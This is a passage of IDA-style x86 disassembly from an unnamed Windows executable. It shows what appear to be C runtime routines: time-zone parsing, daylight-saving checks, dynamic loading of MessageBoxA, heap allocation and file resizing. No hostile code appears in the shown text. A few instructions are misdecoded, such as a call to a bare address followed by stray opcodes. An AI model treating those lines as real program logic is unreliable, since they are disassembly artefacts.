		cmp	cl, 40h
		jnb	short loc_41E0BA
		cmp	cl, 20h
		jnb	short loc_41E0B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41E0B0:				; CODE XREF: sub_41E0A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41E0BA:				; CODE XREF: sub_41E0A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41E0A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0BF	proc near		; CODE XREF: sub_41B793+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41E10B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41E0DD
		test	al, 80h
		jz	short loc_41E10B
		test	al, 2
		jnz	short loc_41E10B


loc_41E0DD:				; CODE XREF: sub_41E0BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41E0EA
		push	esi
		call	sub_41D04C
		pop	ecx


loc_41E0EA:				; CODE XREF: sub_41E0BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41E0FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41E10B
		inc	eax
		mov	[esi], eax


loc_41E0FA:				; CODE XREF: sub_41E0BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41E111
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41E117
		inc	eax
		mov	[esi], eax


loc_41E10B:				; CODE XREF: sub_41E0BF+9j
					; sub_41E0BF+18j ...
		or	eax, 0FFFFFFFFh


loc_41E10E:				; CODE XREF: sub_41E0BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E111:				; CODE XREF: sub_41E0BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41E117:				; CODE XREF: sub_41E0BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41E10E
sub_41E0BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E12D	proc near		; CODE XREF: sub_41B7CE:loc_41B80Dp
		cmp	ds:dword_469730, 0
		jnz	short locret_41E141
		call	sub_41E142
		inc	ds:dword_469730

locret_41E141:				; CODE XREF: sub_41E12D+7j
		retn
sub_41E12D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E142	proc near		; CODE XREF: sub_41E12D+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	ds:dword_469678, ebp
		mov	ds:dword_4387A8, ebx
		mov	ds:dword_438798, ebx
		call	sub_41F3E9
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41E26B
		push	offset dword_469680
		call	near ptr 3D0000h
		aam	3Bh
		retn
; ---------------------------------------------------------------------------
		jz	loc_41E39A
		mov	eax, ds:dword_469680
		mov	ecx, ds:dword_4696D4
		imul	eax, 3Ch
		cmp	ds:word_4696C6,	bp
		push	1
		pop	edx
		mov	ds:dword_438700, eax
		mov	ds:dword_469678, edx
		jz	short loc_41E1B9
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	ds:dword_438700, eax


loc_41E1B9:				; CODE XREF: sub_41E142+69j
		cmp	ds:word_46971A,	bp
		jz	short loc_41E1DD
		mov	eax, ds:dword_469728
		cmp	eax, ebp
		jz	short loc_41E1DD
		sub	eax, ecx
		mov	ds:dword_438704, edx
		imul	eax, 3Ch
		mov	ds:dword_438708, eax
		jmp	short loc_41E1E9
; ---------------------------------------------------------------------------


loc_41E1DD:				; CODE XREF: sub_41E142+7Ej
					; sub_41E142+87j
		mov	ds:dword_438704, ebp
		mov	ds:dword_438708, ebp


loc_41E1E9:				; CODE XREF: sub_41E142+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, ds:dword_421138
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	ds:off_43878C
		push	ebx
		push	offset dword_469684
		push	edi
		push	ds:dword_469518
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41E226
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41E226
		mov	eax, ds:off_43878C
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41E22E
; ---------------------------------------------------------------------------


loc_41E226:				; CODE XREF: sub_41E142+D1j
					; sub_41E142+D7j
		mov	eax, ds:off_43878C
		and	byte ptr [eax],	0


loc_41E22E:				; CODE XREF: sub_41E142+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	ds:off_438790
		push	ebx
		push	offset dword_4696D8
		push	edi
		push	ds:dword_469518
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_41E392
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41E392
		mov	eax, ds:off_438790
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41E39A
; ---------------------------------------------------------------------------


loc_41E26B:				; CODE XREF: sub_41E142+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41E39A
		mov	eax, ds:dword_46972C
		cmp	eax, ebp
		jz	short loc_41E28E
		push	eax
		push	esi
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41E39A


loc_41E28E:				; CODE XREF: sub_41E142+139j
		push	ds:dword_46972C
		call	sub_415E1D
		push	esi
		call	sub_415CD0
		inc	eax
		push	eax
		call	sub_415DA9
		add	esp, 0Ch
		cmp	eax, ebp
		mov	ds:dword_46972C, eax
		jz	loc_41E39A
		push	esi
		push	eax
		call	sub_415BE0
		push	3
		push	esi
		push	ds:off_43878C
		call	sub_416D20
		mov	eax, ds:off_43878C
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41E2E3
		push	1
		inc	esi
		pop	edi


loc_41E2E3:				; CODE XREF: sub_41E142+19Bj
		push	esi
		call	sub_4159B4
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	ds:dword_438700, ecx


loc_41E2FA:				; CODE XREF: sub_41E142+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41E308
		cmp	al, bl
		jl	short loc_41E30B
		cmp	al, 39h
		jg	short loc_41E30B


loc_41E308:				; CODE XREF: sub_41E142+1BCj
		inc	esi
		jmp	short loc_41E2FA
; ---------------------------------------------------------------------------


loc_41E30B:				; CODE XREF: sub_41E142+1C0j
					; sub_41E142+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41E35E
		inc	esi
		push	esi
		call	sub_4159B4
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, ds:dword_438700
		add	ecx, eax
		mov	ds:dword_438700, ecx


loc_41E329:				; CODE XREF: sub_41E142+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41E336
		cmp	al, 39h
		jg	short loc_41E336
		inc	esi
		jmp	short loc_41E329
; ---------------------------------------------------------------------------


loc_41E336:				; CODE XREF: sub_41E142+1EBj
					; sub_41E142+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41E35E
		inc	esi
		push	esi
		call	sub_4159B4
		pop	ecx
		mov	ecx, ds:dword_438700
		add	ecx, eax
		mov	ds:dword_438700, ecx


loc_41E351:				; CODE XREF: sub_41E142+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41E35E
		cmp	al, 39h
		jg	short loc_41E35E
		inc	esi
		jmp	short loc_41E351
; ---------------------------------------------------------------------------


loc_41E35E:				; CODE XREF: sub_41E142+1CCj
					; sub_41E142+1F7j ...
		cmp	edi, ebp
		jz	short loc_41E36A
		neg	ecx
		mov	ds:dword_438700, ecx


loc_41E36A:				; CODE XREF: sub_41E142+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	ds:dword_438704, eax
		jz	short loc_41E392
		push	3
		push	esi
		push	ds:off_438790
		call	sub_416D20
		mov	eax, ds:off_438790
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41E39A
; ---------------------------------------------------------------------------


loc_41E392:				; CODE XREF: sub_41E142+10Bj
					; sub_41E142+115j ...
		mov	eax, ds:off_438790
		and	byte ptr [eax],	0


loc_41E39A:				; CODE XREF: sub_41E142+40j
					; sub_41E142+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41E142	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3A0	proc near		; CODE XREF: sub_41B7CE+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_438704, edi
		jnz	short loc_41E3B4


loc_41E3AD:				; CODE XREF: sub_41E3A0+148j
					; sub_41E3A0+150j ...
		xor	eax, eax
		jmp	loc_41E500
; ---------------------------------------------------------------------------


loc_41E3B4:				; CODE XREF: sub_41E3A0+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, ds:dword_438798
		jnz	short loc_41E3D2
		cmp	eax, ds:dword_4387A8
		jz	loc_41E4D4


loc_41E3D2:				; CODE XREF: sub_41E3A0+24j
		cmp	ds:dword_469678, edi
		jz	loc_41E4AA
		movzx	ecx, ds:word_469726
		push	ecx
		cmp	ds:word_469718,	di
		movzx	ecx, ds:word_469724
		push	ecx
		movzx	ecx, ds:word_469722
		push	ecx
		movzx	ecx, ds:word_469720
		push	ecx
		jnz	short loc_41E424
		movzx	ecx, ds:word_46971C
		push	edi
		push	ecx
		movzx	ecx, ds:word_46971E
		push	ecx
		movzx	ecx, ds:word_46971A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41E438
; ---------------------------------------------------------------------------


loc_41E424:				; CODE XREF: sub_41E3A0+65j
		movzx	ecx, ds:word_46971E
		push	ecx
		push	edi
		movzx	ecx, ds:word_46971A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41E438:				; CODE XREF: sub_41E3A0+82j
		push	ebx
		call	sub_41E54C
		movzx	eax, ds:word_4696D2
		add	esp, 2Ch
		cmp	ds:word_4696C4,	di
		push	eax
		movzx	eax, ds:word_4696D0
		push	eax
		movzx	eax, ds:word_4696CE
		push	eax
		movzx	eax, ds:word_4696CC
		push	eax
		jnz	short loc_41E492
		movzx	eax, ds:word_4696C8
		push	edi
		push	eax
		movzx	eax, ds:word_4696CA
		push	eax
		movzx	eax, ds:word_4696C6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41E487:				; CODE XREF: sub_41E3A0+108j
		push	edi
		call	sub_41E54C
		add	esp, 2Ch
		jmp	short loc_41E4D4
; ---------------------------------------------------------------------------


loc_41E492:				; CODE XREF: sub_41E3A0+C8j
		movzx	eax, ds:word_4696CA
		push	eax
		push	edi
		movzx	eax, ds:word_4696C6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41E487
; ---------------------------------------------------------------------------


loc_41E4AA:				; CODE XREF: sub_41E3A0+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41E54C
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41E54C
		add	esp, 58h


loc_41E4D4:				; CODE XREF: sub_41E3A0+2Cj
					; sub_41E3A0+F0j
		mov	edx, ds:dword_43879C
		mov	eax, ds:dword_4387AC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41E504
		cmp	ecx, edx
		jl	loc_41E3AD
		cmp	ecx, eax
		jg	loc_41E3AD
		cmp	ecx, edx
		jle	short loc_41E518
		cmp	ecx, eax
		jge	short loc_41E518


loc_41E4FE:				; CODE XREF: sub_41E3A0+166j
					; sub_41E3A0+16Aj
		mov	eax, ebx


loc_41E500:				; CODE XREF: sub_41E3A0+Fj
					; sub_41E3A0+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E504:				; CODE XREF: sub_41E3A0+144j
		cmp	ecx, eax
		jl	short loc_41E4FE
		cmp	ecx, edx
		jg	short loc_41E4FE
		cmp	ecx, eax
		jle	short loc_41E518
		cmp	ecx, edx
		jl	loc_41E3AD


loc_41E518:				; CODE XREF: sub_41E3A0+158j
					; sub_41E3A0+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41E53F
		xor	ecx, ecx
		cmp	eax, ds:dword_4387A0
		setnl	cl


loc_41E53B:				; CODE XREF: sub_41E3A0+1AAj
		mov	eax, ecx
		jmp	short loc_41E500
; ---------------------------------------------------------------------------


loc_41E53F:				; CODE XREF: sub_41E3A0+18Ej
		xor	ecx, ecx
		cmp	eax, ds:dword_4387B0
		setl	cl
		jmp	short loc_41E53B
sub_41E3A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E54C	proc near		; CODE XREF: sub_41E3A0+99p
					; sub_41E3A0+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41E5E7
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41E577
		shl	esi, 2
		mov	eax, ds:dword_4387B0[esi]
		jmp	short loc_41E580
; ---------------------------------------------------------------------------


loc_41E577:				; CODE XREF: sub_41E54C+1Ej
		shl	esi, 2
		mov	eax, ds:dword_4387E4[esi]


loc_41E580:				; CODE XREF: sub_41E54C+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41E5BA
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41E5C4
; ---------------------------------------------------------------------------


loc_41E5BA:				; CODE XREF: sub_41E54C+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41E5C4:				; CODE XREF: sub_41E54C+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41E602
		cmp	[ebp+arg_8], 0
		jnz	short loc_41E5D8
		mov	esi, ds:dword_4387B4[esi]
		jmp	short loc_41E5DE
; ---------------------------------------------------------------------------


loc_41E5D8:				; CODE XREF: sub_41E54C+82j
		mov	esi, ds:dword_4387E8[esi]


loc_41E5DE:				; CODE XREF: sub_41E54C+8Aj
		cmp	ecx, esi
		jle	short loc_41E602
		sub	ecx, 7
		jmp	short loc_41E602
; ---------------------------------------------------------------------------


loc_41E5E7:				; CODE XREF: sub_41E54C+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41E5F8
		mov	ecx, ds:dword_4387B0[eax*4]
		jmp	short loc_41E5FF
; ---------------------------------------------------------------------------


loc_41E5F8:				; CODE XREF: sub_41E54C+A1j
		mov	ecx, ds:dword_4387E4[eax*4]


loc_41E5FF:				; CODE XREF: sub_41E54C+AAj
		add	ecx, [ebp+arg_18]


loc_41E602:				; CODE XREF: sub_41E54C+7Cj
					; sub_41E54C+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41E633
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_43879C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	ds:dword_438798, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_4387A0, eax
		jmp	short loc_41E688
; ---------------------------------------------------------------------------


loc_41E633:				; CODE XREF: sub_41E54C+BAj
		mov	eax, [ebp+arg_1C]
		mov	ds:dword_4387AC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, ds:dword_438708
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	ds:dword_4387B0, eax
		jns	short loc_41E66B
		add	eax, 5265C00h
		dec	ecx
		mov	ds:dword_4387B0, eax
		jmp	short loc_41E67C
; ---------------------------------------------------------------------------


loc_41E66B:				; CODE XREF: sub_41E54C+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41E682
		sub	eax, edx
		inc	ecx
		mov	ds:dword_4387B0, eax


loc_41E67C:				; CODE XREF: sub_41E54C+11Dj
		mov	ds:dword_4387AC, ecx


loc_41E682:				; CODE XREF: sub_41E54C+126j
		mov	ds:dword_4387A8, ebx


loc_41E688:				; CODE XREF: sub_41E54C+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E54C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E68C	proc near		; CODE XREF: seg000:0041C7CDp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41E69D
		add	esp, 0Ch
		retn
sub_41E68C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E69D	proc near		; CODE XREF: sub_41E68C+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	ds:byte_46A9C1[eax], cl
		jnz	short loc_41E6CA
		cmp	[esp+arg_4], 0
		jz	short loc_41E6C3
		movzx	eax, ds:word_437D5A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41E6C5
; ---------------------------------------------------------------------------


loc_41E6C3:				; CODE XREF: sub_41E69D+16j
		xor	eax, eax


loc_41E6C5:				; CODE XREF: sub_41E69D+24j
		test	eax, eax
		jnz	short loc_41E6CA
		retn
; ---------------------------------------------------------------------------


loc_41E6CA:				; CODE XREF: sub_41E69D+Fj
					; sub_41E69D+2Aj
		push	1
		pop	eax
		retn
sub_41E69D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E6CE	proc near		; CODE XREF: sub_41CEF9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_469734, ebx
		push	esi
		push	edi
		jnz	short loc_41E71D
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4210C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41E753
		mov	esi, ds:dword_4210C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	ds:dword_469734, eax
		jz	short loc_41E753
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_469738, eax
		call	esi
		mov	ds:dword_46973C, eax


loc_41E71D:				; CODE XREF: sub_41E6CE+Bj
		mov	eax, ds:dword_469738
		test	eax, eax
		jz	short loc_41E73C
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41E73C
		mov	eax, ds:dword_46973C
		test	eax, eax
		jz	short loc_41E73C
		push	ebx
		call	eax
		mov	ebx, eax


loc_41E73C:				; CODE XREF: sub_41E6CE+56j
					; sub_41E6CE+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	ds:dword_469734


loc_41E74F:				; CODE XREF: sub_41E6CE+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E753:				; CODE XREF: sub_41E6CE+1Cj
					; sub_41E6CE+33j
		xor	eax, eax
		jmp	short loc_41E74F
sub_41E6CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E757	proc near		; CODE XREF: sub_41D0B6+22p
					; sub_41D0B6+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41E777
		test	esi, esi
		jnz	short loc_41E771
		push	1
		pop	esi


loc_41E771:				; CODE XREF: sub_41E757+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41E777:				; CODE XREF: sub_41E757+11j
					; sub_41E757+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41E7A8
		cmp	ebx, ds:dword_437F6C
		ja	short loc_41E793
		push	ebx
		call	sub_418E33
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41E7BE


loc_41E793:				; CODE XREF: sub_41E757+2Dj
		push	esi
		push	8
		push	ds:dword_46AAE0
		call	ds:dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41E7CA


loc_41E7A8:				; CODE XREF: sub_41E757+25j
		cmp	ds:dword_4694D4, 0
		jz	short loc_41E7CA
		push	esi
		call	sub_418A48
		test	eax, eax
		pop	ecx
		jz	short loc_41E7D0
		jmp	short loc_41E777
; ---------------------------------------------------------------------------


loc_41E7BE:				; CODE XREF: sub_41E757+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_415550
		add	esp, 0Ch


loc_41E7CA:				; CODE XREF: sub_41E757+4Fj
					; sub_41E757+58j
		mov	eax, edi


loc_41E7CC:				; CODE XREF: sub_41E757+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41E7D0:				; CODE XREF: sub_41E757+63j
		xor	eax, eax
		jmp	short loc_41E7CC
sub_41E757	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D15B


loc_41E7D4:				; CODE XREF: sub_41D15B+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	ds:dword_46A780, esi
		jle	short loc_41E827


loc_41E7E3:				; CODE XREF: sub_41D15B+16CAj
		mov	eax, ds:dword_469760
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E81E
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41E802
		push	eax
		call	sub_415B20
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E802
		inc	edi


loc_41E802:				; CODE XREF: sub_41D15B+1698j
					; sub_41D15B+16A4j
		cmp	esi, 14h
		jl	short loc_41E81E
		mov	eax, ds:dword_469760
		push	dword ptr [eax+esi*4]
		call	sub_415E1D
		mov	eax, ds:dword_469760
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41E81E:				; CODE XREF: sub_41D15B+1692j
					; sub_41D15B+16AAj
		inc	esi
		cmp	esi, ds:dword_46A780
		jl	short loc_41E7E3


loc_41E827:				; CODE XREF: sub_41D15B+1686j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41D15B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E82C	proc near		; CODE XREF: sub_41D53A+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_415D50
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, ds:dword_46A8A0
		jnb	loc_41E961
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_46A7A0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41E961
		push	1
		push	esi
		push	ebx
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41E96B
		push	2
		push	esi
		push	ebx
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41E96B
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E90E
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_415550
		push	8000h
		push	ebx
		call	sub_41F466
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41E8C2:				; CODE XREF: sub_41E82C+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41E8CD
		mov	eax, edi


loc_41E8CD:				; CODE XREF: sub_41E82C+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41C40A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E8EB
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E901
		jmp	short loc_41E8C2
; ---------------------------------------------------------------------------


loc_41E8EB:				; CODE XREF: sub_41E82C+B5j
		cmp	ds:dword_469478, 5
		jnz	short loc_41E8FE
		mov	ds:dword_469474, 0Dh


loc_41E8FE:				; CODE XREF: sub_41E82C+C6j
		or	esi, 0FFFFFFFFh


loc_41E901:				; CODE XREF: sub_41E82C+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41F466
		pop	ecx
		pop	ecx
		jmp	short loc_41E94E
; ---------------------------------------------------------------------------


loc_41E90E:				; CODE XREF: sub_41E82C+71j
		jge	short loc_41E94E
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41BB5F
		push	ebx
		call	sub_41D4A6
		add	esp, 10h
		push	eax
		call	near ptr 3D0000h
		clc
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41E94E
		mov	ds:dword_469474, 0Dh
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_469478, eax


loc_41E94E:				; CODE XREF: sub_41E82C+E0j
					; sub_41E82C:loc_41E90Ej ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BB5F
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41E96E
; ---------------------------------------------------------------------------


loc_41E961:				; CODE XREF: sub_41E82C+1Aj
					; sub_41E82C+36j
		mov	ds:dword_469474, 9


loc_41E96B:				; CODE XREF: sub_41E82C+4Ej
					; sub_41E82C+63j
		or	eax, 0FFFFFFFFh


loc_41E96E:				; CODE XREF: sub_41E82C+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41E82C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E972	proc near		; CODE XREF: sub_41D9A5+2Bp
					; sub_41D9A5+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41E988
		cmp	ecx, esi
		jnb	short loc_41E98B


loc_41E988:				; CODE XREF: sub_41E972+10j
		push	1
		pop	eax


loc_41E98B:				; CODE XREF: sub_41E972+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41E972	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E993	proc near		; CODE XREF: sub_41EA4C+40p
					; sub_41EA4C+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41E972
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9C5
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41E972
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9C5
		inc	dword ptr [esi+8]


loc_41E9C5:				; CODE XREF: sub_41E993+19j
					; sub_41E993+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41E972
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9DD
		inc	dword ptr [esi+8]


loc_41E9DD:				; CODE XREF: sub_41E993+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41E972
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41E993	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E9F1	proc near		; CODE XREF: sub_41EA4C+30p
					; sub_41EA4C+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
